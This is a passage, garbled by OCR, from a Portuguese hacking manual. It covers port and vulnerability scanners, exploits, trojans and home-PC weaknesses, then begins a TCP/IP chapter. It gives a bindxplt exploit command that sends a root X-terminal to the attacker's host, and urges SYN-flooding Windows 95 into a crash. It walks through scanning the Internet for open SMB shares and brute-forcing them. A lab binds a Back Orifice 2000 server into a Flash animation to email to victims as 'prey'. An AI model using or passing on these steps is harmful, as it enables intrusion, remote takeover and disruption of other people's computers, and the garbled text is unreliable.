A partir da anlise desses sinais, os scanners retiram informaes teis sobre os sistemas e os comparam com padres predefinidos. O resultado disso passado para o hacker, que interpreta os resultados baseado em sua experincia e conhecimento e decide quais exploits usar. Escovaremos mais bits sobre hadshakeTCP/lP e funcionamento de scanners nos captulos seguintes. Se tudo at aqui lhe pareceu confuso, no prossiga. Releia o captulo Redes I, e alguns dos tutoriais sobre TCP/lP includos no CD. Recomendamos ainda os excelentes livros de Andrew Tannembaum e do Prof. Gabriel Torres, Redes de Computadores. Apesar do mesmo nome, so dois livros diferentes. A Internet tambm est cheia de tutoriais sobre TCP/lP. Use seu mecanismo de busca favorito e divirta-se!
4 Request for Comments so documentos com recomendaes para implementao de servios e normas para a Internet e redes em geral. Todos eles podem ser consultados em www.ietforv./rfc.html.
1142 1 Vulnerabilidades Ir

Universidade

1ano

Funcionamento de um scanner de portas


Existem centenas de scanners de portas espalhados pela Internet. Em primeiro lugar, devemos escolher a plataforma na qual vamos trabalhar, Unix (incluindo a Linux) ou Windows. Grande parte dos iniciantes prefere a segunda opo, pois a maioria das ferramentas so mais fceis de trabalhar. Depois de "brincar" um pouco com esses scanners e verificar seu modus operandi, podemos passar a usar scanners mais complexos e poderosos. Uma das opes dos bons programas de scan a possibilidadede definir um range ou faixa de IPs a serem verificados.Por exemplo, poderamos varrer os endereos entre 192.168.1.1e 192.168.1.10- dez mquinas em uma rede privada - ou entre 64.x.x.l e 64.y.y.254- 252 mquinas na Internet pblica.Observe que em qualquer faixa de endereo poderemos encontrar computadores pessoais,estaes de trabalho ou servidores. Omitimos x.x e y.y dos endereos do exemplo para proteger os inocentes. ;-) Lembrando que IPs internos como os de grandes empresas no podem ser atacados diretamente pela Internet. Seria necessrio passar primeiro pelo gateway, pelo firewall, conseguir um shell em alguma mquina que possua interfaces de rede tanto na Internet quanto na rede interna e mapear a rede interna at chegar mquina desejada - o que no nada fcil, por enquanto... No caso de um endereo diretamente conectado Internet, necessrio fazer uma escolha das portas mais comumente vulnerveis. Aps definir o range dos IPs, podemos, ao nosso gosto, definir quais portas vamos testar e quais mtodos usaremos nelas. Restringir o nmero de portas uma atitude sbia, pois, se voc escanear TODAS as portas, seguramente ser detectado por um administrador atento (ou um IDS). Comece com os servios mais comuns, nos quais voc pode ser confundido com o trfego normal. Nossas sugestes so as conhecidas portas 21 (Telnet), 25 (Mail), 53 (DNS),80 (Web) e 139/445 (SMB/ CIFS).Para fins didticos, consideremos escanear as portas. Depois de configurado, basta colocar o programa para rodar e veremos o seguinte resultado:
Address : 192.168.1.12 Port 21... Listening Port 22 ... Listening Port 25 ... Listening Port 110 ... Listening

As portas 21,22,25 e 110 podem estar abertas para uma possvel invaso, podem estar sob a vigilncia de um administrador e podem realmente ser seguras. A porta 110 oferece o servio POP3. por onde voc se conecta para baixar seus e-mails. Ora, essa porta TEM de estar aberta (nos servidores de email, obviamente), de outra forma ningum poderia ler correspondncia eletrnica. Portas abertas no so sinnimo de insegurana. O problema so as portas aberta, cujos programas que as "escutam" possuem falhas de segurana.
1143
I

Vulnerabilidades

I Universidade

H4CK3R I

mais conhecido da face da terra o nmap (www.insecure.org/ nmapf). Desenvolvido originalmente para Unix, possui verses para muitos sistemas operacionais, incluindo o Windows. Concebido para a linha de comando, possui diversos frontends grficos, como o NmapWin para Windows (www.nmapwin.org) e o nmapfe para Unix (incluso no pacote do nmap). Extremamente flexvel e poderoso, o nmap e vrios de seus frontends para Windows, Unix e Mac esto includos no CD.

o portscanner

Scanner de vulnerabilidade
Ns utilizamos os portscans para verificar os servios ativos em um dado sistema. Uma vez determinados esses servios, entra em cena um outro tipo de scanner: o de vulnerabilidades. Basicamente, a idia do scanner de vulnerabilidade , atravs de uma lista de falhas conhecidas, checar se o sistema est ou no executando um servio com problemas. Estes scanners facilitam sobremaneira o trabalho do invasor, automatizando o processo de conexo a cada um dos servios listados pelo portscan e a verificao de fraquezas. Sendo automtico, poupa ao invasor dias de trabalho, pois pode checar sozinho dezenas ou mesmo centenas de vulnerabilidades sem a interveno do black-hat. Um bom scanner de vulnerabilidade deve verificar os seguintes itens: ~ Erros comuns de configurao: administradores de sistema inaptos e usurios leigos deixam, por incompetncia, vrias portas abertas e fraquezas desprotegidas em seus sistemas. ~ Configuraes e senhas-padro: no h nada de que um hacker goste mais do que um administrador de sistemas que instala softwares e os deixa com as configuraes de fbrica. Ri-se de babar ao perceber servidores com usurios e senhas-padro (do tipo usurio: root senha:root ou usurio:admin senha:master) ou com diversos servios inseguros desnecessariamente ativados. ~ Combinaes bvias de usurio e senha: outro problema so as senhas bvias. Usurios comuns j possuem a tendncia de colocar uma senha fcil de lembrar (o nome da esposa, por exemplo). A situao piora quando usam combinaes de nomes notoriamente pblicos. Exemplos de pares usurio/senha fracos: fabio/junior, wanderley!luxemburgo, alice/cooper, carla/perez, george/ walkerbush. Outro problema so senhas de palavras do dicionrio: h quebradores de senha com listas de palavras comuns. Um estudo feito em 1998 por uma empresa norte-americana mostrou que 82% dos funcionrios utilizavam, como senha, alguma posio sexual ou o nome do chefe modificado de forma pejorativa. ~ Vulnerabilidades divulgadas: sempre que uma falha de segurana divulgada, h uma corrida dos desenvolvedores de software para san-Ias. Mas tambm h uma outra competio: a dos hackers que querem chegar aos sistemas vulnerveis antes de serem consertados. Um scanner de vulnerabilidades pode, por exemplo, descobrir que sua verso 11441
Vulnerabilidades I [

Universidade 1 ano

do servidor de SMTPsendmail muito antiga e possui o famoso sendmail-bug. Ou que voc ainda est usando o MSN Messenger 4.6 e, portanto, emprega controles ActiveX vulnerveis. Ambas so falhas muito antigas, mas - quem se importa? - se voc no deu ateno aos conselhos de seu guru de segurana favorito e no atualizou seus sistemas, o problema todo seu. Esses so apenas dois exemplos das centenas de testes que um nico scanner de vulnerabilidades pode fazer por voc. Scanners mais modernos j incluem, em um mesmo software, portscans, vulnscans e mapeamento de redes. Um exemplo disso o excelente Nessus (www.nessus.org). que ser abordado nos captulos finais.

Exploits
Exploits so scripts e programas designados para explorao de vulnerabilidades em sistemas. Assim como os scanners, eles podem ser usados tanto por administradores para testar as falhas de segurana em seus servidores quanto pelos hackers que os utilizam para invaso e aquisio de informaes. H vrios tipos de exploits e cada um possui uma forma diversa de aplicao. Para alguns deles o hacker precisa ter acesso ao Shell da mquina-alvo. Isso pode ser conseguido por meio de um cavalo de tria executado pela vtima em seu sistema. Tal trojan abre uma porta de comunicao (sim, uma porta TCP/lP, com nmero determinado e um protocolo) e permite que o invasor tenha total controle sobre a mquina, o que inclui instalao de programas e, portanto, a aplicao de qualquer exploit. Note que, neste caso, j houve uma pequena invaso: o exploit permite quebrar outros nveis de segurana e, assim, obter um acesso mais profundo. Outros exploits servem justamente para conseguir o acesso a um shell e podem ser aplicados atravs de um site que contenha um cdigo malicioso escondido. E-mails em formato HTMLtambm so vetores desse tipo de cdigo. Normalmente, o que esses exploits fazem gerar um estouro de pilha (buffer overflow) e, com isso, confundir a mquina-alvo, fazendo-a abortar o programa em execuo e devolver uma linha de comando. E, por ora, basta saber que todos os programas possuem uma rea de memria (ou buffer) para trocar dados com outros programas ou para interagir com o usurio. Essa rea de memria tem um tamanho limitado, e programas mal escritos comportam-se de forma estranha toda vez que o buffer fica cheio. O prximo dado que tentar entrar no buffer e no conseguir gerar instabilidades no programa e poder paralis-Io. Um exemplo prtico: descobre-se no endereo vitima.com.br (ateno lammers: o endereo fictcio) um sistema Unix rodando uma verso vulnervel do BIND, um servidor de DNS. Um exploit para essa verso de BIND chamado bindxplt encontrado no site Rootshell, que permite a execuo de comandos arbitrrios pelo daemon no caractere seguinte ao ltimo que cabia no buffer. Lembrando que ele s roda com privilgios de root, executa-se, na mquina do hacker, o comando:
1145
1

Vulnerabilidades

I Universidade

H4CK3R

$ bindxplt vitima.com.br u/usr/XIIR6/bin/xterm -display 200.xxx.yyy.6:0u

Como por mgica, uma janela de X-Terminal se abre na mquina do hacker, que possui o IP 200.xxx.yyy.6. Dentro dessa janela, o prompt de root da mquina vitima.com.br. a glria! H milhares de exploits que podem ser utilizados. Poderamos citar alguns aqui, mas a quantidade realmente assustadora. Sugerimos parar a leitura do livro neste ponto e navegar por cada um dos sites citados abaixo. Tome conhecimento de como cada site funciona, baixe alguns exploits de cada um e tente aplic-Ios em sistemas vulnerveis.

www.cert.org www.insecure.org www.rootshell.com www.securityfocus.com www.packetstormsecurity.org www.linuxsecurity.com www.linuxsecurity.com.br

www.hackersplayground.org www.ntsecurity.nu www.antionline.com www.digitalsin.net/cyn/sinfinite www.cexx.org www.hackinthebox.org astalavista. box. sk

Em Tria, como os gregos...


Uma vez com acesso linha de comando na mquina invadida, uma das primeiras providncias do black-hat instalar um backdoor. Por meio dele, o hacker pode entrar e sair do computador invadido sempre que quiser. Mas para instalar a tal porta de trs, a mquina precisa ser primeiro invadida. Muitos acham que isso d trabalho demais. Alguns espertos pensaram: por que no fazer os prprios losers facilitarem o nosso trabalho? Bem, voc j tem o cho frtil para o nascimento dos primeiros cavalos de tria. Os trojans, como so comumente chamados, so programas executveis que controlam todas as partes do computador e comunicam-se com o mundo exterior. Um hacker conecta-se ao trojan por meio de um backdoor embutido e pode controlar a distncia a mquina invadida. Em 1998, mais de 250 tipos de trojans conhecidos j estavam atuando nos micros dos mais desavisados, e desde ento, esse nmero cresceu monstruosamente, chegando a 580 em 2000. Hoje em dia, toma-se difcil encontrar um nmero fiel, e mesmo os nmeros apresentados indicam apenas os trojans encontrados e catalogados. Muitos ainda devem andar por a com trojans to antigos quanto indetectveis...

146

Vulnerabilidades I [

Universidade 1 ano

A difuso desse tipo de programa d-se por contgio. Os trojans, em sua maioria, so desenvolvidos e distribudos como vrus, anexados em mensagens de e-mail ou em disquetes promscuos, e muitas vezes so escondidos em arquivos inocentes, como imagens, apresentaes em Flash e joguinhos. Depois que a prpria vtima instalou o trojan, o computador infectado comea a funcionar como um servidor. Se h um servidor, h um cliente para se conectar, que est em poder do hacker.A conexo praticamente imperceptvel para o usurio leigo, que, ao se conectar Internet, est sujeito ao ataque. Dois dos trojans mais prticos da atualidade so o Netbus e o Back Orifice. Ambos ocupam pouco espao em disco (o BO tem apenas 120 KB) e podem passar despercebidos, pois h a possibilidade de camuflar o executvel escondendo-o em outro programa ou arquivo. Aps a instalao, o trojan apaga seus rastros e torna-se ativo, aguardando apenas que algum se conecte ao computador infectado. Como qualquer outro trojan, o BO e o Netbus so constitudos de dois arquivos: o cliente e o servidor. Um dos principais problemas de ambos que os servidores esto restritos famlia Windows 9.x, embora existam clientes BO para Windows e Unix. Entre as funes comuns a ambos, podemos destacar: ~ Fornecer um shell para o cliente com acesso irrestrito; ~ Controlar todos os dispositivos de hardware da mquina; ~ Gravar uma imagem da tela do computador invadido; ~ Fazer exames da rede, podendo obter senhas e outras informaes; ~ Gravar um arquivo contendo informaes sobre tudo que foi teclado no micro; ~ Possibilitar a abertura de janelas DOS remotamente. O BO e o Netbus so dois trojans muito visados. Todos os antivrus consideram-nos como ameaa e impedem que sejam instalados no computador-destino. Alis, um bom programa antivtrUs barra mais de 90% dos trojans conhecidos. Obviamente h muitos outros por a que nunca conhecero outro mestre alm de seu criador e, portanto, sero imunes maioria dos antivrus. Todo cuidado nesses casos pouco. Ambos esto includos no CD, e recomendamos que nossa rede simples (Laboratrio de Redes I) seja usada para test-Ios. Leia a documentao de ambos, familiarize-se com eles e tente controlar outras mquinas. A criao de bons scanners e exploits demanda conhecimentos em programao e TCP/IP.Para consegui-Ios, a anlise de cdigos alheios um bom ponto de partida. Nos CDs, h diversos exemplos em cdigo-fonte de scanners, exploits e cavalos de tria. Dessenferruje seus conhecimentos em Delphy /Kylix, PerI ou C/C++ e v em frente. No perodo de dois ou trs meses ser possvel escrever seu prprio scanner em sua linguagem favorita.

11471

] Vulnerabilidades

I Universidade

H4CK3R I

As falhas de segurana mais comuns em micros domsticos


Apesar de no ser o alvo preferido dos hackers, os micros domsticos so timos como rea de treino para aqueles que querem adentrar no universo das invases. Geralmente, os usurios domsticos utilizam alguma verso do sistema operacional Wmdows, uma verdadeira orgia de falhas para aplicar exploits e testar trojans. Mesmo os usurios de outros sistemas pessoais, como linux, FreeBSD ou MacOS (e do Wmdows 2000, que relativamente seguro se comparado ao 98), no escapam desses tipos de ataque, pois nem sempre dominam totalmente as caractersticas e opes de segurana que esses sistemas operacionais oferecem. Apresentaremos aqui apenas algumas delas. H muitos exploits nos CDs que podem e devem ser experimentados, e as novidades em termos de falhas saem fresquinhas diariamente nos sites especializados. Para um melhor estudo, interessante preparar uma mquina para ser "cobaia" e lig-Iaem rede com sua estao de trabalho, de onde os ataques sero originados. Instale diversos sistemas operacionais (Win98/Me/2k/XP, linux e FreeBSD - um por vez ou todos em multi-boot, a seu gosto) e mande brasa! Note que algumas falhas nem precisam de exploits...

TCP SYN Scanning versus Windows 95


Uma falha gritante presente no Windows 95 (mas aparentemente no no 98 nem no Me) a incapacidade de lidar com pacotes SYN.Como veremos no captulo Redes 11, numa conexo TCP/lP de verdade h trs hadshakes bsicos. Quem pede a conexo manda um pacote SYN,quem aceita a conexo manda um SYN/ ACK e fica esperando um pacote ACK do sistema que solicitou a conexo. Um portscan tipo TCP SYN nunca enviar o pacote ACK em resposta a SYN/ ACK do Windows. Isso far com que o Windows 95 congele por alguns instantes enquanto espera o pacote. Caso seja feito um flood (envio de um grande nmero de pacotes simultneos) SYN, a pilha TCP/lP do Windows trava e apresentada a famosa "Tela Azul da Morte" (Blue Screen of Death ou BSoD). Experimente faz-Iocom o nrnap/nrnapWin em sua mquina de trabalho, apontando para o IP da mquina "cobaia"e rodando o scan com a opo SYNStealth ligada.

Compartilhamentos em computadores Windows (SMB/CIFS)


A configurao incorreta do protocolo conhecido como Common Internet File System (CIFS - anteriormente conhecido como 5MBou Server Message Blocks), que permite o compartilhamento de arquivos atravs de redes, pode expor arquivos crticos do sistema ou at mesmo permitir acesso completo do sistema.

148

Vulnerabilidades I [

Universidade 1 ano

Usurios corporativos costumam compartilhar seus sistemas de arquivos em sua rede. Ingnuos, ativam essa opo tambm em casa, esquecendo-se de que esto diretamente conectados Internet. Com isso, abrem as portas para que os hackers faam o que bem quiserem com seus arquivos. Uma conexo denominada "null session" (sem usurio e senha) pode pr em risco informaes pertinentes ao sistema e chaves de registro. Scanners de vulnerabilidades (como o j citado Nessus) normalmente procuram por diversas portas, incluindo as portas 135 (TCP e UDP), 137 (UDP), 138 (UDP), 139 (TCP) e 445 (TCP e UDP). Caso pelo menos duas destas portas estejam (ou aparentem estar) ativas, o computador apresenta-se vulnervel conexo por compartilhamento. O procedimento bem simples. Primeiro, use o Nessus para procurar, na Internet, mquinas com essas portas abertas. Anote todas que encontrar. No Windows, chame o Internet Explorer e coloque o nmero IP da mquina vulnervel, no formato LAN Manager: \\IP.DA.VTIMA.AQUI. Se no houver senha, os compartilhamentos sero mostrados - basta c1icar neles. Caso haja, um bom quebrador de senhas por brute force dar conta do recado.

J171:3
~!iona:;'

Caso esteja em uma mquina Linux, podem-se usar os comandos samba-c1ients para tentar a conexo, da seguinte forma: $ smbclient -L IP.DA.VTIMA.AQUI

do pacote

Provavelmente sero pedidas senhas para mostrar os compartilhamentos. Novamente deve-se recorrer aos quebradores brute force para descobrir as senhas.

11491
I

Vulnerabilidades

I Universidade

H4CK3R I

Se a interface grfica KDE 3 estiver disponvel, pode-se usar o Konqueror. Escreva na barra de endereos o IP da vtima da seguinte forma: smb:/ / IP.DA.VTIMA.AQUI/. OS compartilhamentos devem ser exibidos. Uma curiosidade sobre esse IJiJIIilIiI furo de segurana que originalli! mente ele no existia! O ProtocoJ lo NetBEUI (antecessor do 5MB/ CIFS) permitia o compartilhamento de arquivos nas redes LAN Manager, Windows for I/oc jUeasa fornece! Workgroups e nos primeiros um usurio e uma I!I!n". Wmdows NT.S que o NetBEUI no era rotevel e, portanto, era impossvel que grandes redes IP [mbert<> tivessem conectividade total por Senha; meio dele. Para resolver isso, a Microsoft estendeu a imp1ementao do NetBEUI. Batizada de 5MB, a nova tecnologia permitia o "empacotamento" dos pacotes NetBEUI no protocolo TCP/IP.A conexo entre as mquinas era feita pelas portas 137 e 139. Entretanto, "tunelar" o NetBEUI pelo IP permitia que o pacote fosse rotevel no s pela rede corporativa mas tambm pela Internet. Nesses casos, h duas opes para as empresas: isolar completamente a rede interna da Internet ou no compartilhar nada, nunca. J os usurios domsticos normalmente no tm o que compartilhar (pois no pertencem a rede alguma) e devem manter esse recurso desligado.
,1713iR<>bet1! f\ume
dI> 1tW<\1iU:

Servios desnecessariamente ligados


o Unix nunca foi pensado para ser um sistema operacional domstico. Costuma-se dizer que ele foi criado "por programadores, para programadores". Depois, foi adotado como sistema operacional ideal para servidores e, para isso, foi recheado com diversos programas e servios especficos de servidor. Atualmente, o Linux e o FreeBSD esto sendo usados numa escala maior como SOs em estaes de trabalho e micros domsticos. Mas ainda assim so preparados para ser servidores, uma vez que a maioria das distribuidoras monta suas caixinhas com produtos "polivalentes" em vez de especializados. Um usurio domstico talvez nunca precise de um sendmail ou um apache rodando em sua mquina, mas ainda assim os tem. O interessante que nem preciso explorar falhas de software como estouI

150

Vulnerabilidades

Ir

Universidade 1 ano

ro de pilha ou programas comuns com poderes de root. Imagine uma estao de trabalho Linux com os servios de Finger, FTP e Telnet habilitados. O usurio no precisa deles - porque a mquina dele nem um servidor - e sequer sabe que os servios esto ativados. Com o comando fmger, um hacker obtm a lista de usurios cadastrados no sistema. De posse dos nomes de login por brute force ou dicionrios, consegue entrar em uma conta de Telnet e, uma vez dentro, pode explorar o sistema vontade. A correo para esta falha simples: desligue tudo o que no for usar.

Buffer OverfLownos servios de Remote Procedure CaLL


Ainda sobre Unix, alguns servios utilizam-se das RPCs, que so, simplificando a explicao, como se fosse syscalls executadas em outro computador. Por exemplo, uma mquina Unix utiliza-se do RPC para aplicar o servio de Network File System (NFS) oferecido por outra mquina Unix. H falhas em implementaes de RPC que permitem que programas sejam executados no micro invadido a partir de um outro computador remoto. Existem evidncias de sua utilizao nos ataques DDoS que ocorreram no ano de 1999.

Laboratrio de
Vulnerabilidades I
A principal finalidade dos laboratrios a prtica de alguns procedimentos considerados essenciais para a rotina do hacker.Administradores de sistema devem observlos cuidadosamente, pois devem estar sempre atentos s tcnicas usadas em invases. Nesse primeiro laboratrio, vamos manter nosso foco na invaso de micros domsticos - sim, sim, coisa de lammer. Mas temos de comear de alguma forma, no acha? E qual seria a melhor maneira para atingir esse objetivo? A resposta est entre artimanhas mais antigas conhecidas pelo homem: O Cavalo de Tria! Exatamente isso! Como na histria, um presente usado como artificio para a invaso. Vamos utilizar o mtodo clssico de envio de trojans para as vtimas. Na verdade, precisaremos de trs arquivos para cumprir a tarefa: o servidor, que vai controlar o computador invadido, um programa joiner (usado para unir arquivos) e o cliente, instalado na mquina do hacker, para controlar o servidor. Utilizaremos o Back Orifice 2000, a novssima verso de um dos trojans mais utilizados no mundo. Como j foi comentado anteriormente o programa dividido basicamente em duas partes: cliente e servidor. Para instalar o servidor, necessrio que a vtima rode o executvel em seu computador sem perceber o que est fazendo. Mas como isso possvel? Simples, vamos utilizar um pequeno truque de engenharia social: faremos uso da curiosidade. Em nosso exemplo, uma imagem carregando o servidor do B02k em suas entranhas. Para camuflar nosso agente, empregaremos o ]oiner, um pequeno programa que

1151 I
1

Vulnerabilidades

I Universidade

H4CK3R I

possibilita a unio de dois arquivos quaisquer. Um deles obrigatoriamente tem de ser um executvel, que ser aberto antes do segundo. Depois de terminado, o controle passado para o segundo arquivo; se for tambm um binrio ser executado e, caso seja um arquivo comum, ser aberto no aplicativo correspondente. Ento, aos troianos! Recomendamos o Back Orifice 2000, um dos mais conhecidos e prticos da Web, mas voc pode escolher entre uma coleo enorme. Existem trojans para praticamente todas as plataformas!

Configurando o servidor
o servidor do BO precisa ser preparado antes da infeco, pois depende de plug-ins para cada uma das "maldades" a serem feitas. Outro detalhe: necessrio informar ao programa como se comunicar com o hacker.As opes so: por e-mail, IRC e mesmo ICQ. GJ:q.<:1 A configurao simples. Rode o B02K !:B02K Smer ConHgurat;on .. jij Configurator. Na tela que se apresenta, preencha seus dados, a porta na qual o servidor deve "escutar" e a forma como ele deve contact-Io para informar que est on-line. H vrias opes, entre elas ICQ, IRC e mesmo e-mail. Existe ainda a P ossi- Ia
bilidade de defInir senhas para a conexo, impedindo assim que outros hackers usem o seu BO. Nada que um brute force no resolva, entretanto.
FiI,T""',,
TCPIO UDPIO Buili',

A parte mais importante da configu- PluI Na ~ rao do servidor a defInio dos o!!obo_peepdll 0.7 10 B02K RemoleCon,ole Mana, Remove I plug-ins que sero usados. Cada uma ~ E,hac'ToF;le...I das tarefas bsicas - controle do computador, navegao pelo sistema de arquivos, captura da imagem da tela e criptografla na comunicao, entre ou5e,V~ue tros - de responsabilidade de um plugin especfico. Leiaa documentao (e o tutorial simples e efIcaz incluso no pacote) para mais detalhes sobre os plug-ins.
J

Juntando

as coisas

Uma vez configurado o servidor, resta-nos unir o arquivo boserve.exe gerado pelo configurador com o "cavalo" - em nosso caso, uma animao em Flash. Para tanto, voc deve ativar o ]oiner, que pedir imediatamente o nome do arquivo executvel (no caso, o servidor) e nossa isca (a animao Flash). Note que h uma opo caso o usurio queira ser notillcado se algum abrir o arquivo.
1152 1 Vulnerabilidades I[

Universidade 1ano

Finalizado esse processo, voc obter um arquivo hbrido que poder ser instalado em qualquer mquina. Algo assim:

~-'EEP.WAV

I@]

I@]

INmWAV JOINEA1

lEI

~
~

Iml,"D""m'nl ]9KB

JOINER.EXE

A grande maioria dos joiners funciona da mesma I@] ERRORVlAV forma. Alguns apenas em modo texto, mas em geral as sentenas de operao limitam-se aos seguintes I@] ICQ.WAV comandos (em DOS): I@] JOIN.WAV C:\ > joiner (nome do arquivo servidor) (nome JOINER.2 do arquivo isca) ,2 II'!'I'I '.''1",., . WlI 225 ~8 C:\ > ren join.f1l goggles.exe Agora s escolher as pessoas que vo receber o servidor e mand-Iopor e-mailscom assuntos inocentes.

Porta dos fundos


Aps receber a confirmao de que o micro rodou o servidor, hora de utilizar as funes do cliente. A vantagem do Back Orifice o seu ambiente grfico capaz de rodar todos os comandos sem dificuldade alguma. Entre os recursos do BO, podemos destacar a criao de diretrios, movimentao de arquivos e at a possibilidade de reiniciar o sistema.

"""

Agora, s brincar com sua presa. Happy hacking!

Consideraces finais
I

E bvio que, Aconselhamos "brincar" com computadores, tos e descubra

neste captulo, apenas arranhamos a superfcie - e no muito. a parar a leitura do livro, visitar todos os sites aqui indicados, todas as ferramentas mostradas e mesmo tentar invadir alguns sempre com autorizao da vtima. Demore nesses procedimenvoc mesmo os meandros desse labirinto escuro.

1153 I

] Vulnerabilidades

Universidade 2 Ano: O caminho de um Voyager

Reei
Captulo

II

'Minha terra tem campos de futebol onde cadveres amanhecem emborcados pra atrapalhar os jogos. Tem uma pedrinha cor-de-bile que faz 'tuim' na cabea da gente. Tem tambm muros de bloco (sem pintura, c/aro, que tinta a maior frescura quando falta mistura/, onde pousam cacos de vIdropra espantar malaco. Minha terra tem HK,ARl5, M21, 45 e 38 (na minha terra, 32 uma piada/. As sirenes que aqui apitam, apitam de repente e sem hora marcada. Elas no so mais as das fbricas, que fecharam. So mesmo dos cambures, que vm fazer aleijados, trazer tranqilidade e aflio ': Quinze cenas de descobrimento de Brasis, 1999, Fernando Bonassi

I Universidade

H4CK3R I

TCP!IP: O incio
No captulo anterior sobre redes, tratamos dos aspectos mais bsicos e desenvolvemos um breve estudo sobre alguns dos protocolos mais utilizados. Tal estudo serviu para que pudssemos, posteriormente, conhecer algumas tcnicas e procedimentos simples de invaso e fazer experimentos com algumas ferramentas. Com o conjunto de informaes dos captulos Redes I e Vulnerabilidades I, adicionado a um pouco de pesquisa nos sites e livros indicados, qualquer um j pode considerar-se um script kiddie e levar a cabo a maioria dos procedimentos simples de "owning" de computadores domsticos. Agora a conversa um pouco diferente. Veremos mais adiante (em Vulnerabilidades 11 e, posteriormente, nos captulos finais) mtodos mais complexos de ataque a sites, empresas e redes remotas, todos por intermdio da Internet. Como a Grande Rede baseada na famlia de protocolos TCP/lP (ou seria o contrrio? O TCP/lP foi criado por causa da Internet, afinal de contas...), ser ela a vedete desta parte do livro. Mas seremos "malvados" com o TCP/lP. A maioria dos livros mostra o protocolo de forma acadmica e bem-comportada. Em nossos estudos, veremos como podemos desfigurar, fraturar e abusar dele: um verdadeiro estupro digital! A palavra forte, mas ver o estimado leitor que se aplica perfeitamente ao contexto em que empregada. Para os hackers, a tecnologia est a para ser estendida. Ou deturpada... Este captulo nunca substituir qualquer um dos excelentes livros e artigos especialmente escritos para revelar todos os meandros e facetas do protocolo TCP/lP e sua utilizao prtica. Esperamos, pelo menos, que sirva como uma introduo para esses recursos. Aps a leitura deste livro, recomendamos ao leitor que se aprofunde no estudo desse protocolo e das tecnologias de rede baseadas nele. Alm dos livros de Andrew Tannembaum e do Prof. Gabriel Torres (ambos chamados Redes de Computadores), j citados vrias vezes no decorrer do livro, recomendamos as seguintes publicaes: ~ Projeto e Arquitetura de Redes, de J.F.Dimarzio; ~ Intemetworking com TCP/IP, de Doug Comer; ~ Aprenda TCP/IP em 14 dias, de Tim Parker; ~ Administrao de redes TCP/IP, de Craig Hunt; ~ TCP/IP Illustrated, volume 1, de w: Richard Stevens. Na Internet, h excelentes recursos em portugus disponibilizados por pesquisadores de universidades brasileiras, empresas do setor e sites especializados. Alguns bons trabalhos sobre redes e TCP/lP que recomendamos: ~ Apostila TCP/IP de CCUEC (www.dicas-l.unicamp.br/freinamentos/tcpip); ~ Notas de Aula TCP/IP, de Ricardo Ueda, Instituto de Matemtica e Estatstica da USP (www.ime.usp.br/-ueda/ldoc/notastcp.html).
1158 1 Redes II [

Universidade 2 Ano

E, em ingls, recomendamos: ~ TCP/IP Tutorial and Technical Overview, IBM Red Books (publib-b. boulder.ibm.com/redbooks.nsf/portals/N etworking ); ~ Netscape Open Directory (dmoz.org/Computers/Internet/Protocols). H ainda na Internet, diversos grupos de discusso sobre redes. Dois dos grupos, que os autores no s recomendam como tambm participam, so o Dicas-L, hospedado na Unicamp (www.dicas-l.unicamp.br) e mantido pelo competentssimo Rubens Queiroz de Almeida, e o Redes-L, hospedado e mantido pela FAPESP (listas.ansp.br/mailman/listinfo/redes-l). Por ltimo, sabemos que no Brasil existem diversas publicaes voltadas para o usurio de informtica e o administrador de redes. Uma lista delas, tambm prestigiadas pelos autores, : ~ In/o Exame ~ Revista do Linux ~ H4CK3R ~ Geek ~ PC Brasil

051 versus TCP/IP


Continuando de onde paramos no captulo 2, vamos analisar mais a fundo o formato e o funcionamento de cada protocolo da famlia TCP/IP, como os diferentes protocolos interagem entre si e quais as tecnologias envolvidas. O TCP/lP uma coleo de protocolos presente na Internet. Na realidade, ambas as entidades so a mesma coisa. Assim como impossvel dissociar o que energia e o que matria (E=mc2), no h como precisar se o TCP/lP foi criado para ser usado na Internet, ou se a Internet apareceu em decorrncia do TCP/lp. A histria do ovo e a galinha... O TCP/lP independente de plataforma. Suas especificaes so abertas e livres de royalties. Por isso mesmo, acabou tomando-se de fato o padro da indstria mundial e, tambm por isso, usado para levar acessibilidade a computadores de todos os tipos e tamanhos, desde dispositivos de mo at mainframes. A maior parte das publicaes costuma dizer que a famlia TCP/lP preenche os requisitos de trabalho das camadas 3 a 4 do modelo de referncia OS!. A afirmao correta, mas incompleta. Sabemos que cada uma das camadas do modelo de referncia pode ser implementada com um protocolo diferente, mesmo porque cada camada independente. Assim, em teoria possvel fazer pacotes SPX (uma implementao proprietria da Novell) serem transportados por pacotes IP,em vez do IPX. Na prtica, o que vemos que os padres abertos acabam sendo os comum ente usados, com raras excees como o 5MB/ClFS da IBM/Microsoft. Podemos, pois, montar um diagrama contendo as sete camadas OSI e seus representantes no "mundo real":
1159 1 Redes 11 1

I Universidade H4CK3R I

Camadas dos protocolos de rede


Na prtica 051 Exemplo de aplicao

Aplicao Aplicao Apresentao Sesso TCP/UDP IP Ethernet Fsica Transporte Rede Conexo Fsica

Mail, NFS, HTTP, 5MB External Data Representation Remote Procedure TCP/UDP IP/ICMP Ethernet Cabo de par tranado categoria 5 (XDR)

Calls (RPC)

Observe: na prtica, h aplicativos que fazem as funes das camadas 7,6 e 5. Como so aplicativos externos, de implementao livre e que rodam na rea do usurio, considera-se que todos eles estejam na camada de aplicao.

Protocolo IP
o burro de carga da pilha TCP/lP o protocolo IP. atravs de pacotes IP (ou seja, quadros de dados montados segundo o protocolo IP) que as mensagens das aplicaes sero transportadas entre as diferentes redes. O protocolo tambm defllle como ser o esquema de endereamento para que cada mquina tenha um identificador nico em todas as redes. Tal endereamento implementado com nmeros IP: um grupo de 32 bits, divididos em quatro grupos de oito (ou seja, quatro bytes) e que obedecem ao deflllido no protocolo IP. Atente, portanto, para o fato de que protocolo IP,nmero IP e pacote IP no so a mesma coisa! Neste livro, falaremos exclusivamente de pacotes IP da verso 4, conhecido como IPv4. As exigncias da Internet atualmente (notadamente desempenho, segurana e principalmente indisponibilidade de nmeros IPv4) levaram ao desenvolvimento de um novo protocolo chamado IPv6, que est sendo utilizado na Internet 2.
1160 1 Redes 11r

Universidade 2 Ano

o pacote IP
As informaes vindas das camadas superiores (em nosso caso, TCP e UDP) devem ser inseridas em um pacote de dados para que sejam transmitidas segundo os procedimentos definidos no protocolo IP. Esse pacote montado segundo um modelo tambm defInido no protocolo chamado de Datagrama IP. Um datagrama IP uma seqncia serial de bytes, dos quais os 20 primeiros compem o chamado cabealho IP.A aluso a telegramas no cacofonia: um datagrama parece-se realmente com seu colega de "carne e osso" (ou antes, de papel e tinta): TOS(8) Verso(4) I IHL(4) I Identificao(16) TTL(8) I Protocolo(8) Tamanho TotaL(16) Fragment Offset(13) Flags(3)

